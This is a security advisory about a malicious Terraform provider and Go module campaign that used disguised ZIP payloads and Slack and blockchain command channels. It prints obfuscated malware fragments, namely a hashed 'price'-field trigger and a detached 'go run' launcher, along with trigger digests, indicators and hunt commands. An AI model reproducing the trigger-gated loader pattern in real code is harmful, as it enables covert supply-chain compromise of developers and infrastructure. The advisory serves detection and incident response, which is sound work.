critical

CVE

Not assigned

CWE

CWE-506, CWE-829, CWE-522

Affected Surface

  • Terraform providers gocommunity-io/dockerd and kreuzwenker/docker, which Aikido reported as malicious in any published version
  • Go modules gocommunity.io/orderedbtree and gogets.dev/btreex, which Aikido reported as malicious in any published version
  • Developer workstations, CI runners, and infrastructure hosts that resolved those providers or modules during builds, Terraform applies, or local testing
  • Teams that trust current source homepages more than historical registry artifacts when reviewing Terraform providers and Go modules

The strongest new package-registry story in the 22-25 September window is not another npm dropper. It is Graphalgo moving into Terraform providers and Go modules.

That shift matters because Terraform and Go dependencies often sit closer to infrastructure credentials than ordinary frontend packages do. A poisoned npm utility can still hurt you, but a poisoned Terraform provider or Go module often lands on the workstation or runner that already talks to cloud APIs, image registries, deployment systems, and production state backends.

Affected packages and what is still live today

Aikido reported four malicious names in this wave:

  • Terraform providers gocommunity-io/dockerd and kreuzwenker/docker
  • Go modules gocommunity.io/orderedbtree and gogets.dev/btreex

The current public state is uneven, which is exactly why this incident is useful for defenders.

The HashiCorp Registry endpoints for both provider names now return provider-not-found responses in this environment. That cleanup state helps today, but it does not say anything about whether a runner or workstation resolved the provider while it was still available.

The Go side is different. The public Go proxy still serves both module lines:

gocommunity.io/orderedbtree latest -> v1.3.0, time 2026-09-02T07:59:22Z
gogets.dev/btreex latest        -> v1.2.3, time 2025-11-27T04:01:05Z

That second timestamp is the tell. Aikido says gogets.dev/btreex first appeared on 8 September 2026, but the live Go proxy and the Go Packages versions page still present the release as if it came from late November 2025. The article explains why: the attacker forged commit dates, and Go tooling treated those dates as authoritative.

The lesson is practical. Registry cleanup and package metadata can drift in different directions. If you only look at the current package page, you may miss the exposure window completely.

The Go module trigger hides behind a reflected price field

The malicious Go module path is more interesting than a simple init-time beacon. The code shipped inside deprecated/node.go does not fire on every import. It first looks for a reflected struct field named price, then hashes the integer value and compares it with a hardcoded digest before doing anything else:

_15ac5cc1d8cc, _ := base64.StdEncoding.DecodeString("cHJpY2U=")
_b91f2be08582 := string(_15ac5cc1d8cc)
_81cf5b78a0df := _a14224e858ce.FieldByName(_b91f2be08582)

if _81cf5b78a0df.IsValid() && _81cf5b78a0df.Kind() == reflect.Int64 {
    _f68cd73725bf := strconv.FormatInt(_81cf5b78a0df.Int(), 10)
    if _56d08ef00c0c, _ := _7f913255915a(_f68cd73725bf); _56d08ef00c0c !=
        "8c1f1046219ddd216a023f792356ddf127fce372a72ec9b4cdac989ee5b0b455" {
        return ""
    }
}

Once the trigger value matches, the code decrypts files into a working directory under the user’s config path and detaches into a local Go runtime:

_500ff1e64361 := exec.Command("go", "run", ".", _4a6c95948755)
_500ff1e64361.Dir = filepath.Join(_c905741b2532, "utils")
_c61cbb978252(_500ff1e64361)
_500ff1e64361.Start()

That is why this package family deserves a separate write-up from the mathmain incident Corgea covered on 22 September. The campaign infrastructure overlaps, but the execution surface changed. Here the malware is shaped like normal Go data-structure code and waits for a matching business object rather than a suspicious install hook or a math solver path.

btreex.sql is a ZIP archive, not a SQL asset

gogets.dev/btreex adds another small but useful indicator. The file named btreex.sql is not a SQL dump. The first bytes are a ZIP header, and the archive expands into a staged Go program:

dist/
dist/go.mod.tmp
dist/main.go.tmp
dist/helper/abi_codec.go.tmp
dist/helper/contract_reads.go.tmp
dist/helper/contract_write.go.tmp
dist/services/main.go.tmp

That lines up with Aikido’s description of an archive masquerading as data while actually shipping a second-stage Go project. In a real repository review, a file named btreex.sql might get skimmed, cached, or mirrored without anyone opening it as an executable payload container.

The Terraform provider path points at infrastructure workflows

Aikido’s reversing on the Terraform providers is the part security teams should not ignore. According to the disclosure, both providers placed hidden entry points in /internal/provider/resource_docker_container_funcs.go and only activated when the SHA-256 of containerName + networkID matched a hardcoded digest:

b9966e3762e9a0d5d263b8cb3cca07294f81af9714d40ddf4628cb85d74e8ad5

From there, the provider decrypted and unpacked examples/resources/docker_container/import-resource.sqlite3, then ran the result as a detached Go project.

The cleanup state today makes the supply-chain lesson sharper, not weaker. The registry entries are gone, and the live kreuzwenker/docker GitHub repository now presents a Docker image project rather than an accessible Terraform provider source tree. A homepage check in September 2026 therefore tells you very little about what a workstation or runner could have resolved earlier in the month.

This is the same tarball-versus-repository problem Corgea has been tracking in npm, translated into IaC and Go ecosystems.

The second stage used Slack and Arbitrum Sepolia together

The operator control plane is not subtle. Aikido says the decrypted Go RAT checked in over Slack, then used an Arbitrum Sepolia smart contract as a second command channel. The hardcoded contract address was:

0xAD02b5cDE693529d3bdA0266299501ad0193036C

The malware reportedly polled blockchain instructions every 3 seconds and Slack instructions every 10 seconds. The Slack side carried system reports and encrypted follow-up tasking. The blockchain side stored the public-key exchange material and command data.

That architecture is unusual enough to be worth a direct hunt. A Go build, Terraform apply, or local test run that suddenly starts talking to Slack APIs and public Sepolia RPC infrastructure is not normal background noise.

What to hunt in real repositories and caches

Start with source trees, lockfiles, and Terraform metadata:

rg -n \
  'gocommunity-io/dockerd|kreuzwenker/docker|gocommunity\.io/orderedbtree|gogets\.dev/btreex' \
  go.mod go.sum '*.tf' .terraform.lock.hcl . 2>/dev/null

Then look for the staged payload markers that should not exist in ordinary provider or module caches:

rg -n \
  'btreex\.sql|import-resource\.sqlite3|portfolio-devs|portfolio-testers|setCPubKey|go run \.' \
  "$GOMODCACHE" .terraform .terraform.d . 2>/dev/null

For network and process telemetry, the highest-signal combinations are:

process:
  go run . <numeric-trigger>

network:
  api.slack.com
  Arbitrum Sepolia RPC endpoints
  gocommunity.io
  gogets.dev

files:
  dist/main.go.tmp
  dist/helper/contract_reads.go.tmp
  dist/helper/contract_write.go.tmp

Any single hit can be noisy. The point is the cluster: fake ecosystem domains, staged Go project files, Slack API calls, and blockchain tasking on a host that should have been doing ordinary build or infrastructure work.

Response guidance

Treat confirmed use of any of these four package names as a host compromise.

  1. Remove the affected providers and modules from manifests, lockfiles, mirrors, and caches.
  2. Rebuild the affected workstation or runner from a known-good image.
  3. Rotate GitHub, cloud, Terraform backend, container registry, SSH, and package-publishing credentials from a different machine.
  4. Review recent Terraform applies, Go builds, and source-control events performed by the exposed identity.
  5. Search historical package caches and CI artifacts, not just live registry pages, because the current public cleanup state hides part of the original exposure path.

The important change in this wave is not just “malware in one more package manager.” It is the jump into dependency paths that sit closer to infrastructure access. A malicious frontend package can steal credentials after the fact. A malicious Terraform provider starts from the machine that often already holds the keys you care about most.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

Explore dependency scanning Get Demo

References